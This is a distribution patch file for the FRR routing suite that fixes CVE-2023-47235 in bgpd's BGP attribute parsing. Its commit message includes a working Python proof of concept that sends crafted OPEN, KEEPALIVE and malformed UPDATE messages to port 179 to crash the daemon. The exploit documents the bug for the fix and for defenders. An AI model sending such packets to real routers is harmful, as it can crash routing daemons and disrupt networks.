frr/0021-CVE-2023-47235.patch
Michal Ruprich 56f1a21263 Resolves: RHEL-15916 - Flowspec overflow in bgpd/bgp_flowspec.c
Resolves: RHEL-15919 - Out of bounds read in bgpd/bgp_label.c
Resolves: RHEL-15869 - crash from specially crafted MP_UNREACH_NLRI-containing BGP UPDATE message
Resolves: RHEL-15868 - crash from malformed EOR-containing BGP UPDATE message
2023-12-19 14:26:18 +01:00

106 lines
3.4 KiB
Diff

From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <donatas@opensourcerouting.org>
Date: Fri, 27 Oct 2023 11:56:45 +0300
Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of
malformed attrs
Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:
```
router bgp 65001
no bgp ebgp-requires-policy
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
!
address-family ipv4 unicast
neighbor 127.0.0.1 addpath-tx-all-paths
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
exit
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```
Send a malformed optional transitive attribute:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
---
bgpd/bgp_attr.c | 15 ++++++++++++---
1 file changed, 12 insertions(+), 3 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index cf2dbe65b805..1473dc772502 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3391,9 +3391,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
uint8_t type = 0;
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
- * empty UPDATE. */
+ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+ * we will pass it to be processed as a normal UPDATE without mandatory
+ * attributes, that could lead to harmful behavior.
+ */
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
- return BGP_ATTR_PARSE_PROCEED;
+ return BGP_ATTR_PARSE_WITHDRAW;
if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
type = BGP_ATTR_ORIGIN;
@@ -3273,7 +3276,13 @@ done:
aspath_unintern(&as4_path);
}
- if (ret != BGP_ATTR_PARSE_ERROR) {
+ /* If we received an UPDATE with mandatory attributes, then
+ * the unrecognized transitive optional attribute of that
+ * path MUST be passed. Otherwise, it's an error, and from
+ * security perspective it might be very harmful if we continue
+ * here with the unrecognized attributes.
+ */
+ if (ret == BGP_ATTR_PARSE_PROCEED) {
/* Finally intern unknown attribute. */
if (attr->transit)
attr->transit = transit_intern(attr->transit);